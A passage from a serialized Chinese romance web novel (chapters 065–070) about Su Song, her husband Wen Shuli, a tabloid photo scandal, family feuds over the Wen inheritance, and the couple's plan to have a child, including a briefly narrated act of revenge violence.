苏颂的照片刚爆出来的时候,温航之得知就给他打电话,他的决定很干脆,撤下热搜,就当不知道,也别怪苏颂,那是以前,他们还不认识,温戍礼容忍人都有过去,所以他跟他父亲谈了条件。
项目已经挂了半年,其中还涉及官场,说大不大,但是块难啃的骨头,他爸把项目作为条件给他,他也接受了。
他一直在默默承受娶了苏颂而带来的压力,但他从没有觉得她麻烦,既然结了婚,身为丈夫,他就有责任保护妻子。到了这一刻,心中纵有恼火,他还是更担心苏颂的处境。
关心则乱,让他忘了礼仪,直接打开书房的门,看到的却让他一顿。
书房里,两公媳正坐在窗边煮茶,没有想象中的剑拔弩张,甚至看起来别有一番闲情逸致。
温戍礼到底是个成熟稳重的人,心里的惊涛骇浪还没平息,面上已经风平浪静。他信步走过去。
“聊什么?”
那本杂志正翻开着苏颂跟周正焕那一页,大大的页面,足够让人看清楚。
065 大白天的,就这么急着给我戴绿帽?
温戍礼瞥一眼。
来的路上,他已经看到网上的热搜了,不到一周,他老婆已经上了两次热搜榜第一,比当下明星还有热度。
苏颂见他瞧着杂志,默默地把杂志合上,心虚地低着头。
“这么着急赶回来,是在生你老婆的气,还是担心我为难她?”温航之看着自己这个大儿子,不得不承认,这个儿子越来越有他的风范,可能还有点青出于蓝苗头。
“放心,答应你不怪她就不怪,对你爸可以信任一点。”时间不可倒流,那个小时候会围在他身边喊“爸爸”的儿子,不知何时已经跟他生分。
温戍礼说:“需要我撩开头发让你看伤疤吗?”
温航之语塞:“那天是我冲动了。”他从来没有打过儿子,那是第一次,但足以将他们的父子关系划清。温戍礼面上不说,但现在除了公事,别的事不会跟他多聊。他早已不懂这个儿子。
“男人被吹耳边风,是容易影响心智一点。说起来,是我妈没本事,吹不动你。”他淡淡道,“不过爸管好自己的风月事就行,我们两个的,就不劳你操心了。
不管是她的,还是我的。”他强调。
目光落在惊愣的妻子身上,“还不走?等着留饭?”
苏颂不喜欢在温家吃饭,那氛围,吃个饭好像都能吃出刀影来。
她乖乖跟在他身后出来,全程半句话不敢坑。看出他心情不好,但她不知道他是在气他爸,还是借她公公发火,实际上在气她。
身后,书房传来砸东西的声音。
在温家不能提温戍礼的母亲,一提就不安生,她也是婚后,一次温衡说漏嘴才知道的,家里要是出现跟温戍礼母亲有关的事物,温航之跟林美丽就会吵架。
想到林美丽会被迁怒,苏颂暗暗想着,那些照片是林美丽搞的鬼吗?她没有证据,但她在这里没有得罪其他人,加上,前阵子在这里,林美丽刚说过不会放过她的。
苏颂想得太专注,差点撞上东西,定睛一看,是车门。
温戍礼此时一手拉开车门,一手挡在门上面的角上,他这是防止她不注意,被门角所伤吗?
“上车。”温戍礼言简意赅。
苏颂听话照做,上车后依然不敢说话,而温戍礼也一言不发。苏颂忍不住偷偷看他,发现他的视线一直落在一个地方,苏颂顺着他的视线看去,只看到林美丽跟一个帮佣有说有笑。
林美丽什么时候这么随和了?她一向端着温太太的架子,瞧不起人。
接着,管家先生出来,不知道跟林美丽说了什么,林美丽脸色一变,急急匆匆的往屋里去。
大概是温航之找她。刚才温戍礼提到他生母了,不知道两人会不会争吵。
“吵起来就好了。”苏颂低声说。
“嗯?”
苏颂转身,她的动作幅度有点大,温戍礼又低着头,瞬间两张脸就要碰到一起。
苏颂的脑袋往后仰,拉开一点距离,否认:“没说什么。我们还不走吗?你在看什么?”
温戍礼看着温家大门,这里听不见也看不见里面发生的事情,但温戍礼却能料想到一般,他说:“林美丽今天不会好过。”
苏颂明白,温戍礼是故意提他母亲的。
“你不是不喜欢说起她吗?一说起你也会心情不好,你这是杀敌一千,自损八百。”苏颂打听温戍礼喜好的时候,其中就有不能提他母亲这条,所以苏颂这几年不提,也不打听这个亲婆婆的事情。
“那我也赚两百。”温戍礼目视前方,语气铿锵有力,十足一个胜将的姿态。
苏颂:“……”好吧,亏少也是赚,算吧。
“你不问我为什么给林美丽找不痛快吗?”半晌,温戍礼又说。
苏颂也不知道,于是问:“为什么?”
她的眼睛看过来,眼神清澈,小嘴微微张着,模样憨态。温戍礼收回目光,心想,人家是又菜又爱玩,他这个小妻子是又傻又贪玩。
“因为她给我找不痛快,我的伤不会白挨,还有你的事情。几年前的照片了,没人故意挖,不会凭空出现,还短时间内就上热搜。”
“我怀疑是她。”
他分析得头头是道,苏颂听得连连点头。
“我也怀疑是她。”
温戍礼看她,一副看白痴的样子:“怀疑还送上门?”
苏颂语塞,后说:“爸叫我来的,我又拒绝不了,我有给你打电话。”
“这会倒是想起我了,我早上不是让你待在家,你还出去?”要是不出去,就不会有这些事。
终于还是说到这件事了。
“我找正焕是有事。”
苏颂先认错:“我知道身为温太太不能出去喝酒,还喝得烂醉,影响温家的形象,但我昨晚也是因为心情不好,谁叫你凶我,还走了。”说到这里苏颂也委屈起来。
“这三年,我在家,没有功劳也有苦劳,就一次没有守时,你就那样说。”
“是两次。”他纠正,“而且,谁说我不让你出去,是觉得你喝酒有损温家形象了?”
“温家算个屁!”
“你爆粗了?”苏颂的嘴巴张得大大的,都要能塞下一个鸡蛋了。
在她眼里,温戍礼一向都是克制守礼,自律自强的绅士贵公子形象,竟然在她面前,爆粗口?
温戍礼说:“让你在家是为了你的安全。”
他伸手,前面的肖直就把好几份报纸以及杂志拿过来,他一直有定各大媒体的纸刊,但不一定会看,肖直会过目,分不同类,重要跟次要分时间段看,这是肖直挑选出来,登了苏颂照片的纸刊。
“但你不仅没听,还给我惹事。”
温戍礼一把都丢在苏颂身上,语气很高冷的说:“大白天的,就这么急着给我戴绿帽?”
苏颂接着那些新闻资料,笑得比哭还难看:“你听我解释。”
温戍礼把苏颂送回去,他打电话叫阿姨来接苏颂。
“看紧太太,再让她出门见人,你就不用来了。”
然后,他就让人开车了。留下阿姨很同情的看着苏颂。
066 不是爱他,而是感恩
“太太,我一直以为你这样的,有钱,住大房子,老公又帅气,生活一定很幸福,哪知道老公心里有别人,现在还限制你自由,你的命好苦。”
还真不是,温戍礼让她别出门,是为了保护她,不过他强调“见人”两字,总让人觉得他还是怀疑她要出轨。
苏颂有些不得劲,但也没办法做什么,他让她照做,他会查出事情背后的搞事的人,所以苏颂只能听话回家。
她打断阿姨那悲悯同情的幻想:“回去吧。”
苏颂昨晚没睡好,一上午又折腾了这么多事,一躺到床就睡着了。
不知道是不是见到老朋友太高兴,她梦到自己的十八岁。
苏颂第一次上闫丽的店就被人骚扰,是李斯俊帮她解了围,后面她再去闫丽的店,私心里是想找李斯俊,但都没有再见到,结果反而跟闫丽熟悉起来。
有一天,闫丽说要介绍她的表弟给苏颂认识,那晚,苏颂再次见到李斯俊,也知道,他就是闫丽的表弟。
李斯俊,人如其名,俊俏帅气还冷酷,苏颂吃他的颜,也对他帮了自己一事一直心存感激,有滤镜在,她倒也不社恐了,那段时间很喜欢粘着他,看出他并不是喜欢玩的人,苏颂就借用学习的名义。
他们都是应考生,她借着不会的题,让在重点高中上学的李斯俊给她讲题,常常白天的时候出来跟他见面,有一天李斯俊有事没来,他让他的同桌来给苏颂讲题。
她还记得那一天,下着绵绵细雨,外面天色灰蒙蒙的,但周正焕出现的地方,依然亮得发光。奶茶店里的女孩子激动得惊呼起来,他真的长得太漂亮了。
当周正焕走到她身边的时候,奶茶店的女孩子看苏颂的眼神都变了,她们在羡慕,这让没有朋友的苏颂,第一次有了交朋友的欲望。
她很喜欢跟他们三人在一起,也会主动联系他们,一来二去,几个人就成了一个小圈子。
闫丽会高声喊她“颂颂”,周正焕会揉着她的脑袋说她“傻气”,只有李斯俊,拽拽的喊她“喂”。
“喂。”
怎么又这样喊她?她应了一声,感觉到身上还有只手在晃她。
苏颂睁开眼睛,眼前却朦朦胧胧的,她费劲的睁着,才依稀看清他的轮廓。
“温戍礼,你也来我梦里啊!”
“这次我在你身边了。”
苏颂又发烧了,阿姨做后晚餐去敲门叫她吃饭,结果一直没人应,阿姨开门进去,才发现苏颂发烧了,立刻打电话给了温戍礼。
温戍礼很快就回来,喊了苏颂好几句都没反应,立刻抱起苏颂上医院。
输了液的苏颂很快就醒来,睁开眼就对上温戍礼那张冷脸,吓了她一跳,动作太大,差点把手背的针头都拔了,疼得苏颂嚎出声。
“啊,好痛。”
“你最近很活泼。”温戍礼笔直的坐在那,西装革履,神情严肃,目光凉凉,说反差的话听起来更吓人。
苏颂浅笑,尽量做出端庄的姿态:“我,我只是太痛了。我生病了,你知道的,人生病的时候会跟平常不太一样。”
“生病还会喊别人的名字,‘李斯俊’又是谁?”
在路上,苏颂时不时地说梦话,人又一直昏迷不醒,温戍礼很担心,一直喊她,喊她苏颂,急乱中也喊她喂,想要叫醒她,结果她迷迷糊糊地喊“李斯俊”,喊了好几遍。
女人的梦呓就跟男人的酒后吐真言一个道理。
此时,温戍礼眼神逼视,属于上位者的气场,隐隐透出,让病房都显得逼仄起来。
“苏颂,我可以不管你的过往,但你的心,最好给我清空。”他的婚姻可以没有爱情,但他的妻子绝对不能在心里装着别的男人。这是他对另一半最低的底线。
苏颂快哭了,她做梦还喊出声的吗?
“我没有。”苏颂坐起来,“我就是梦见以前在云城的朋友。
另外,今天的事,如果你不信我,可以叫周正焕来当面对质,我们在包厢就是吃饭,聊的也是朋友之间的话题,他帮过我。”在车上,她解释过,但温戍礼没有表态,苏颂再强调一遍。她不想再被他误会。
哪知道温戍礼摊开一只手,露出掌心的银行卡,说:“我知道。”
温戍礼送苏颂回去后急着走,是他还要去周家等周三爷,结果周三爷没等到,是周正焕出来见他,周正焕告诉他周三爷回云城了,又同他解释了那张照片的事情,说他们会在菜馆见面,是苏颂要还他三年前借出的银行卡。
并且,周正焕还让他最好查清楚是谁要陷害苏颂,拍这种照片发布,明显就是要害苏颂。这点温戍礼当然知道,但另一个男人来为他老婆出头,这其中的关系让温戍礼不由得深思。
或者他们之间没谈过,但两人之间的感情很深,而他跟苏颂之间最大的问题,就是没有感情基础。
病房里很安静,忽然,“苏颂。”温戍礼喊她。
苏颂“嗯”了一声,看向他。
“你后悔嫁给我吗?”
周正焕把卡还给他的时候还告诉他,三年前,苏颂上周家,是想让周正焕帮忙救苏氏,还说,要不是温家答应得快,苏颂大概不用嫁给他。
知道苏颂可能不喜欢他,但得知她一开始不想嫁,温戍礼又是另一种心情。
原来,面对心动的人,真的会贪心。
她不想嫁给他,却当了三年贤惠的温太太。
他看着面前这张熟悉的面孔,忽然觉得看不透。
她看着傻乎乎的,却能得到周家大少的肯定。还能对他阳奉阴违。
看着老实,但她根本不老实,真实的她是什么样子的呢?
“我不后悔。”苏颂说。
听到这个答案,温戍礼却高兴不起来:“我知道,因为我救回了苏氏,是你们苏家的大恩人。”
从刚结婚后,每次苏氏逐渐变好,她的笑容就愈发开朗时,他就意识到,苏颂跟苏凤一样,把苏氏看得比自己都重要,只是负责的方式不同。
于是为了她越来越开心,他更拼力,仅用一年就将苏氏回归正轨。
067 温先生心如磐石,处理白月光
不是爱他,而是感恩。他一直都知道。
他站起来,第一次没有耐心听下去。
“已经查出来是谁发的照片,我去看看。不过,要想人不知除非己莫为。避免是非最好的方法,就是知道什么事情可做,什么事不可做。”
说完,他径自离去。
苏颂躺了下去,那种失落感又将她包围,心里空洞得很厉害,好像能把人吞噬。
他还是不信她。或者说,因为不爱,所以从不信任过。
她以为说开了两年前的误会,他们的关系会变好,结果,他的猜疑更深。
没有基础的感情,果然不牢固,几张照片,几句流言,就能推倒。
生病让她变得脆弱,又开始胡思乱想,她看着天花板,感到无力地悲哀。
“我要是说后悔,能让时光倒回吗?”
。
温戍礼来到自己的私人仓库,他手上还有宋家的资源,不可能完全被温家牵着鼻子走。所以他说温家算个屁,是真的。
这些年,他看似被继母以及弟弟打压得没办法在温家生活,事实上是他搬离温家,才能更好的做事。他在背地里,已经发展起来了属于自己的产业。
这里是他处理私事的地方,他的人,把散布苏颂照片,造苏颂谣的人抓来了这里。
皮鞋踩在积满灰尘的水泥地面,印出他的来时路。指尖的烟,从医院出来就没断过,这会却顿住,没再往嘴边送。
“是个女人?”
他温戍礼就算面上再不得势,这些年也一直无人敢惹,在手下的人传消息说,让人发照片的不是他继母林美丽,也不是温泰之后,温戍礼一路上猜测过很多人。
商业对手?家族宿敌?甚至是不是他身边出现叛徒都想过,唯独没想到会是个女人。
小弟搬来椅子,温戍礼坐下,开口:“为什么要害苏颂?”半截烟往嘴里送,他的目光一直盯着那个人。
穿着黑色运动服,被罩着纸袋的女人一直在摇头挣扎,奈何双手被绑住,左右又有人控制,根本无从反抗。
长指轻轻一挥:“拿下来。”温戍礼吩咐说。
“戍礼哥。”当纸袋跟布塞拿掉后,陈曼曼带着哭腔喊出声。
“是你?”
对于苏颂嫁给了温戍礼这件事,陈曼曼一直不甘心。她以为自己还有机会,但上次车祸事件后,温戍礼就拒绝跟她直接联系,这让她慌了,一直在找再次接近温戍礼的办法。
那晚,她在King门口遇到温戍礼,并不是偶遇。
不是她爸叫他去,而是她知道温戍礼在找周家人,找她爸帮忙,她爸才给出周家人的信息的。但她聪明的没有直接打电话给温戍礼,选择守株待兔,果然让她等到了。
他听后果然带她进了会所的高级包厢,能不能见到周家人她不在意,只要他又接受自己提供的信息,那么接下来她又有由头可以联系他。
但她千算万算,没算到温戍礼去King不是去找周家人,而是去接苏颂,当时醋意真要把她泡发了。
偏偏他那么上心,苏颂却不知死活的半夜还跟绯闻男主角在一起,那么不把他当回事。
陈曼曼嫉妒了,所以让人跟踪她,但侦探发现有人在跟苏颂了,她谨慎起见,改而让人跟踪那个男的。
只是,万万没想到,那个男人竟然是周家人。温戍礼的人不是第一个找到她的,周正焕的人更快,但那些人给周正焕打完电话后,电话里的男人说。
“还以为是谁胆子肥了,敢让侦探跟我,原来是温戍礼惹的情债,不用把人带来了,温戍礼的人在找,让他自己处理。”
陈曼曼换这身,就是打算跑的,结果在机场,被温戍礼的人找到。
因为陈曼曼一直都是穿旗袍,所以温戍礼一开始没认出来,这会看着那张依旧美丽的脸,他的表情很冷漠。
“你散布的照片?为什么针对苏颂?”
他跟苏颂结婚的时候,陈曼曼已经出国了,在他的印象里,她跟苏颂应该没有交集才对。
原本陈曼曼只是悬着泪珠,一脸可怜地哭,结果听到温戍礼这样问,彻底失态。
“为什么?为什么温太太是她不是我!”她奔溃大哭,不顾形象的质问,“明明是我先出现的,你不是也对我有好感吗?”结果,所有人都认为她会是温太太,可他一瞬间就娶了别人。
苏颂来南城,到嫁给温戍礼,从头到尾十天。她是收到他的婚贴才知道的。
苏家摆明硬塞,他却半推半就,让她成为了圈子里的笑话。于是她出国了,没有参加他们的婚礼。
温戍礼敛眸:“我从来没有对你示好过。”跟陈曼曼的流言他听过,但他向来是话题中心,这种莫须有的事情他懒得搭理,也就只有上次跟苏颂解释过。
但万万没想到,话题的另一人,却当真。
“你身边都是男人,你不会跟别的女人多说话。”
闻言,温戍礼微微蹙眉,抬眼瞧她:“我跟你多说话了?”
陈曼曼的眼泪不知道怎么就哭不出来了,哽咽着说:“可是我跟你说,你会听。”甚至她提出帮助,他也会帮,车祸的时候,他就帮了。他对别人没那么热心。
温戍礼起身,连争辩都懒得。
“某种意义上讲,你也算叛徒。”他跟苏颂荣辱是一体的。他对陈曼曼同情,帮了她,她反而害他老婆。
指间的烟蒂落下。
“处理了。”
转身,脚步覆盖了来时路。
。
温家,林美丽被温航之打了一巴掌,帮佣给她敷脸的时候弄疼她,她发了一通脾气。
“滚出去,都是没用的东西。”
温泰回来,看到母亲肿了一边的脸,惊愣了一下。
“爸打的?他不是从来不动手。”父母时不时会争吵,身为儿子,他知道,但没有干涉过。
“为他的好大儿出气呗,说他会打温戍礼是被我挑拨,害得现在他们父子俩有隔阂。
真搞笑,明明是他自己想露威,不想温戍礼逃出他的掌控,结果玩脱了,回头把锅甩给我。”
068 他在护短,一个个都受到教训
林美丽捂着脸,越说话越疼,可疼成这样,也不见自己儿子关心一句,烦躁地问他。
“你回来有什么事?”
温泰说:“陈曼曼被温戍礼的人丢在陈家门口,听说身上有伤,具体什么情况还不清楚。”
闻言,林美丽也是一愣。
温泰继续说:“温戍礼是越来越不顾忌了,平常一副绅士贵公子做派,结果现在连女人都打,也不怕被人议论。”温泰担忧起来,“他对陈曼曼都这么狠,要是被他知道之前的照片是我们发的,肯定会对付我们。”
“你急着赶回来,就是为了这事?”林美丽觑他。
温泰一顿,看向母亲,神色的担忧还未全部敛去。
林美丽说:“有什么好怕的。从我进这个门,生下你,我们注定跟他就是对手。
不是我说你,还真被他整理怕了?你想要温家,就要做好这个准备。这只是刚开始。”
林美丽拿着冰袋轻轻给自己敷脸,道:“看来他真的护苏颂。不过上心了更好,人就怕有软肋。”
有软肋就好办了,他有温宋两家护法,动不了,还动不了在南城无依无靠的苏颂吗?
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苏颂就是发烧了,送医及时,没什么大问题,退烧就能出院了。
她到车上,没看到温戍礼,只有司机来接她。
阿姨看出她的失落,扶着她,说:“太太,我们先上车,外面冷。”
车上,苏颂怔怔的看着手机,没有来电,她点开短信,信息还停留在一个多月前,他在新加坡,她问他什么时候回那条。
他当晚就回来了,当时她竟然生出是不是为她而回的心思。
可这一次,他几天没回,一个消息都没有,回来了,看出她在闹别扭,才说他是去出差。
好像要她主动问才有联系,要不然就是好久没联系。
车子开过街道,看着逐渐亮起的路灯,苏颂拢了拢身上的外套。
这个冬天,格外冷了。
晚上,苏颂睡得迷迷糊糊,感到有人压着自己,裹挟着冲鼻的酒味。
她睁开眼睛,熟悉的气息让她无需辨认,他回来了。还没过十一点。
上次他说她不遵守约定,门禁作废,现在算怎么回事?他在示好的意思吗?
苏颂觉得自己病还没好,脑子有些混沌,特别是被他这一身酒味一熏,更加的脑袋昏沉。
她试着推他:“你喝了很多,我去给你煮醒酒汤吧。”
往常都是这样的,他喝得少就泡茶,喝得多回来,就给他煮一碗醒酒汤,但也不是这样,一般他回来,她都在客厅等着,不会像现在,在床上,这么缠绵。
今晚,她本以为他不会回来了。
男人埋首在她的脖颈间,粗重的呼吸喷洒出很热很热的热气。他似乎很疲倦,又像是很郑重的作出决定。
“苏颂,我们要个孩子吧。”
十岁就没了母亲的苏颂,连第一次来月经都手足无措,第一次怀孕,她也不懂。
没有孕吐,也没有任何不适,只是月经没来了,她从网上看到说,有人刚开始有房事,会影响月经,以为是内分泌素乱,便没有在意,直到觉得自己好像有点胖了。
怀孕快两个月了。当医生告诉她这个消息的时候,她拿着B超图的手都在颤抖,她很高兴,真的很高兴,她是期待跟温戍礼的孩子的。
那一个月,她已经进入母亲的角色,结果唐筛没过,她又做了刺穿,还特意挂了妇科专家号,结果发现胎儿的四肢没有分离好,是个问题胎儿。
这个噩耗让她躺了三天,一直流泪流泪,宝宝没有了,她的眼泪也没有了。
但这会,她又躺在那,静静的流泪。
浴室里传来流水的声音,她却哭得泣不成声。手搭在肚子上面,仿若里面已经有新生命一样。
她哭得哑了声:“宝宝,回来好吗?”
。
温戍礼又出差了,苏颂闲着没事,又来找闫丽。
闫丽在化妆,苏颂在发呆,忽然闫丽问:“你之前是不是跟我提过陈曼曼这个名字?”
回神的苏颂“哦”了一声,说:“有。”
温戍礼的白月光,虽然他说他跟她没什么,还说有就不会娶她了,可是他却因为陈曼曼挨了温航之一打。
没恋情可能是真的,但不止友情也是真的。
“她被人打断手骨了。”闫丽拿着眉笔的手比出两根手指,“还是打断双手。听说是那双手做了得罪人的事。
不过那人也够狠的。”
这话听得苏颂妻鸡皮疙瘩,说不上同情,就是想到那么漂亮好看的女人被打断手,令人感到残忍。
到底是什么人,能下这么狠的手。
“你之前不是说她是才女,还长得很漂亮,入过你老公的眼,他有没有跟你说?”闫丽一副八卦的样子。
苏颂摇摇头:“他对这些事情不感兴趣。他凌晨就去出差了。”
半夜做完后,睡了不到四个小时,他就出去了,见她醒了,只留下“出差”两个字,算是告知。
闫丽在苹果肌上打圈圈上腮红,说:“你觉得你对你老公够了解吗?”
又涂上口红,今天的妆就化好了。闫丽走到苏颂面前,刚化好妆的她,艳丽又出色,她总是站没站姿,却又魅力四射。
她俯身对着苏颂笑:“我听人说,有人说这事是你家老公干的。”
苏颂立刻站起来:“不可能!”
“这么紧张?我以为你听到是他出手,会高兴呢。”
苏颂说:“他是有点高傲,嘴巴有时候也挺不饶人,但教养很好,他没有对我动粗过。”明明心里对温戍礼很失望,但说起他来,却又找不出缺点。苏颂很肯定地说,“他不会做出打女人的事情来。”
她的丈夫很完美,完美到,她想得到他的心都没有机会。
闫丽靠在桌子边缘,双手叠在胸前,道:“有没有可能因为你是她老婆?在外面对别的女人就不是这样了。”
苏颂摇摇头:“他不太爱跟异性接触。”她没发现,圈子里的人也都这样说。
“真要打,又不需要他动手。”
069 神秘的周三爷
她说完,苏颂只是看着她,不说话。那样子,看得人心里发毛。
闫丽跟她对视了一会,明白过来,就算温戍礼不爱她,也是她的丈夫,谁也不希望有人说自己的老公有危险的行为。
于是,她故作轻松的说:“瞧你紧张的,我就是开个玩笑。”
苏颂剔她:“一点也不好笑。”
闫丽知道苏颂心思单纯,也不想让她害怕。她往外走,换了话题说:“你不问问他?这种情况,最能测试他心里是不是还有这个女人。”
苏颂摇头:“没必要。”温戍礼不喜欢她,但他那人古板,对婚姻的忠贞还是有的。
“前晚不是还喝酒买醉,说你们要完了。怎么,温大少又干了什么让你改变心意了?我猜猜……”
她曼妙的身材走进吧台里,拿下杯子跟调酒器,回头打趣苏颂:“是不是又把你睡服了?”
苏颂坐在高脚凳上,被打趣红了脸,说:“我们打算要个孩子了。”
孩子,是两个人的牵绳,是稳固婚姻的重要元素。有了结晶,升级做了父母之后,不管两人之前感情怎么样,往后都会有个共同重心。
她这是要升华他们的婚姻了。
“确定了?他之前不是说不想?你不能他说想你就生,得你……”
“我想啊。”闫丽话还没说完,苏颂就急着说,“其实我上次订酒店问他的时候,我是打算跟他说我们要个孩子的。
不是因为我公公的条件。
自从上次的宝宝走了之后,我就一直想要的,只是他一方面忙,一方面又对我忽冷忽热的,我拿不定他的心思,就一直没问。”
她跟温戍礼的婚姻太仓促了,这两年两人也没有好好磨合过,她一直觉得温戍礼好像不要孩子,现在看来,很有可能是源于两年前的误会。
如今他主动提了,她当然要了。
“要孩子不是小事,你得考虑清楚。”
从闫丽那出来,就遇到顾辽舟,他刚下车,火急火燎的,看样子像是有什么急事。
“嫂子?”顾辽舟看到路边的苏颂,走了过来。“你又来找她?”顾辽舟指了指清吧。
苏颂点头。自从上次在King被温泰骚扰,是顾辽舟帮着处理的之后,苏颂对他印象好了些。这会她平和的微笑点头,问他:“你怎么这么早?会所不是还没开门做生意。”
顾辽舟一改平常不着调的性子,几分苦恼的说:“被人砸场子了。”
“嗳,嫂子,我先进去了。你没事就早点回去吧,免得戍礼……担心。”话要出口,他及时把“吃醋”改为“担心”。
之前怎么没发现温戍礼把男女感情看得这么重,人在出差,还记得给他打电话,让他盯着苏颂,别让她跟姓周的走近。
顾辽舟一边过马路,一边挠头,他可真看得起他,那可是周家人啊,周家人,他管得着嘛他。
苏颂看着顾辽舟狠狠的扫了一把后脑勺的头发,看起来头很大的样子,自言:“看来被砸得很严重。”
。
云城
温戍礼这么急着来云城,是想要找周三爷。一周的期限,就剩下今天最后一天了。
他坐在车里休息,最近事情太多,加上昨晚几乎没睡觉,他在车上一向睡不深,这会有些乏累,脑袋有点发疼。
“扣扣”助理肖直敲了车玻璃。
车窗降下,肖直汇报说:“局里的人说,周三爷提前休年假,还没回来。”
闻言,温戍礼拧眉:“没回来?”
肖直毕恭毕敬说:“查回来的消息确实是说周三爷昨天下午就回云城了。”
见肖直紧张,温戍礼知道是自己状态太差,让他误会了,缓了口气说:“周正焕也说他回云城了,人多半是回来了,只是没回局里而已。”
温戍礼扫了一眼那栋正方的白色大楼,上面红色的“审计局”三个字很亮眼。
掌控一方财政的重要单位,身为秘书长的周三爷,把控着很多生意人的命脉。
温戍礼收回视线,手指敲着扶手,思忖片刻,道:“既然他避而不见,我们就别冒然打扰了。上车,去苏家。”
。
此时,苏家老太太苏凤,看着人刚查回来的资料,脸色变了又变。
她问管家:“确定这个人跟开夜店那个女人还有关系?”
管家说:“按照调查回来的信息,闫丽的母亲曾经嫁给过李少爷的母舅,两人存在名义上的表亲。小姐就是通过闫丽而认识李家少爷的。”
“什么乱七八糟的关系!”苏凤将资料一把拍在桌面上。
她回来后就让人打听给苏氏注资的到底是哪家,后面查出是云城当地的富商李家。
苏家是老牌企业,李家是后期发家的,两家人不同时期也不同生意,没有交集过。于是她再让人打听清楚,结果回来这么一个消息。
她竟然被她谩骂过且最瞧不起的女人给帮了。
虽然这关系有些勉强,但苏凤对闫丽的印象差到极点,她坚定的认为就是闫丽带坏她的孙女苏颂,害她现在在南城还要被年少犯的错所困扰,叫她如何原谅。
心里恨不得将人碎尸万段,结果现在反而被她家里人帮了?苏凤不让苏颂跟那个女人以及跟那个女人相关的人再联系,选择瞒着她。
“这事不要告诉小姐。”苏凤吩咐道。
管家应下:“好。”
“奶奶。”温戍礼提着礼从大门走进来。
苏凤不作犹豫,将桌上的资料一把拿起,揉成一团,直接丢进垃圾桶里。管家则识趣的退到一边。
“您在忙?”
温戍礼多敏锐的洞察力,瞬间就察觉到了苏凤跟管家在谈事。
苏凤笑笑:“忙来忙去不就是一个苏氏,也谈不上忙。”她半真半藏的,老道的把事圆了过去。
“你怎么来了?颂颂没来吗?”
温戍礼说:“我来出差,便来看看。这是给您的礼品。”东西是上次来云城没送出去的,这次刚好用上。
两人坐下,很快就有人奉茶。苏家祖上是上过朝廷的,家里至今保留一些传统。
不过,温戍礼挺喜欢的。
070 怀疑盗号者是他
他极其自然的享用了这杯茶。
倒是苏凤把他打量了又打量:“你来是不是有什么事?”三年都不曾想过来看望她老人家的人,不会一下子就转性变孝顺。
都说姜还是老的辣。果然如此。
温戍礼一口品茗,放下茶杯,也不瞒着,将事情大概说了一遍,其中着重突出这个项目遇到的困难。
“盛泰这些年的投资很多都亏了,新项目接替不上是集团现在面临的难题。这个项目是政府关联的,周期长些,但前景不错,只是一直被卡着,没法进行。。”
“那也是南城的单位卡着,跟这边的也挂不上钩啊。”
“我过来是要找审计局的周秘书长。”
“周?”
温戍礼点头,“嗯,南城周家三子。南城有句话叫‘周而复始’,南城是从周老爷子退下来定居在这里,才发展起来。”
“周家在南城的地位,举足轻重,无人能比。如果他能出面,事情会顺利很多。”
听温戍礼说完,纵是苏凤这样的巾帼,也非常钦佩震惊。
“原来是这样。不过我跟这些人也都不熟悉。”她明白温戍礼上门找她的意思了,是想让她帮忙引荐能见到周三爷的人。
苏凤解释说:“苏家是百年老企业,都是政府在扶持苏氏,很多事都简便通行,我也不需要费劲跟他们打交道。”
一个存在上百年,见证过历史的老企,确实足够成为一座城市的名片。
温戍礼原以为在苏凤这能寻求到帮助,结果失望而归。
肖直看到出来的上司脸色凝重,就知道事情没找到转机。那可是周家人,肖直平常再八面玲珑,这件事也一筹莫展。他汇报了别的事:“温总,夏叙得知我们在这边,说要见你。”
温戍礼现在不想听到跟陈曼曼有关的任何人跟事,道:“不见。”
上司素来平稳,现在明显有了情绪变化,肖直也搞不清楚上司是气见不得周三爷,还是气夏叙,后者只能是被陈曼曼波及的。
想到陈曼曼被修理得那么惨,肖直也不免唏嘘,跟男朋友甜甜蜜蜜的不好吗,非得惹有妻之夫。
肖直感到上司最近火气很大,有些岌岌可危,忽然间,灵机一动。
苏颂正跟阿姨在厨房一起做饭,手机来了消息,没有署名。
【太太,我是肖直,温总来云城出差,刚看望过苏老夫人。知道太太关心老夫人,太太要不要打电话给温总聊聊?
PS:太太别担心,我没有别的意思,是温总看起来心情不太好T-T】
肖直给苏颂发来求助短信。
“太太,我来包吧。”她们准备包饺子,阿姨擀皮,苏颂包,现在皮擀好了,见苏颂有人找,阿姨立刻接过,继续包饺子。
苏颂走出厨房,看着那条短信,一直走到偏厅。如果是她刚到南城的时候,温戍礼身边的人能对她示好,她肯定抓住,但现在,肖直的短信,让她觉得突兀。
她先把电话拨到奶奶那边去。
“奶奶,戍礼去看您了?”
“他还有跟你说啊,不错嘛,两人现在感情很好。”
苏凤一直希望孙女能跟温戍礼相处出感情,苏颂也不知道现在跟温戍礼处于什么情况,说他对她好,他又忽冷忽热,说他不好,出差又会给她带礼物。
不过,祖孙俩相隔上百公里,她一向都是报喜不报忧。苏颂略过奶奶的话,问:“他为什么心情不好啊?”
苏凤将温戍礼找她的来意说了,后又说:“能帮我肯定帮,不过咱家一向不蹚官场的水,你也知道的,你太祖爷爷当年利用职务创办了苏氏的前身,后来他倒台,厂子没了,差点连家族也弄没了。”
权力交替总是伴着鲜血,这事被当成苏家的祖训,一代代传了下来。就是因为她奶奶不想靠拢权力,当初才需要来到南城找上温家。
这是温戍礼第一次向苏家提出帮助。苏颂在想着,她奶奶又说:“现在我只希望苏氏平稳,你跟戍礼两口子把日子过好。
上次热搜的事情,戍礼都愿意帮你摆平,不追究你的往事,这点让我很欣慰。
你也要知点好,他现在有烦恼,正是你当老婆的表现的好机会。”
苏颂拨弄着兰花的叶子,听了觉得几分不得劲,这话说得好像她多不体贴多不懂事一样。她说:“他不就是叫多几句‘奶奶’吗,您就被他哄得团团转了,对他知无不言,连宝宝的事情都告诉他。”
她怀孕又流掉的事情,就只告诉了她奶奶。苏颂现在已经放下这件事了,是以着很平和的心态,因为不满奶奶最近一直要她去跟温戍礼交好,想发发她奶奶的牢骚而已,结果她奶奶却给了她一个新消息。
“不是我告诉他的,是他主动来问我。”
苏颂挂了电话后,脑子有些混沌。她也没有跟温戍礼说啊。
她奶奶刚才说,是她来南城的第二天,她去盛泰参观,而后在办公室,温戍礼忽然很凝重的问,知不知道她有过孩子。
奶奶来南城的第二天,她因为生理痛,在家休息,因为奶奶来了这边也不来看她,她心情不好,加上是肚子痛,伤感的时候就想起痛苦的往事,她跟“闫丽”聊天的时候,有说了宝宝的事情,那是第三个知道的人。
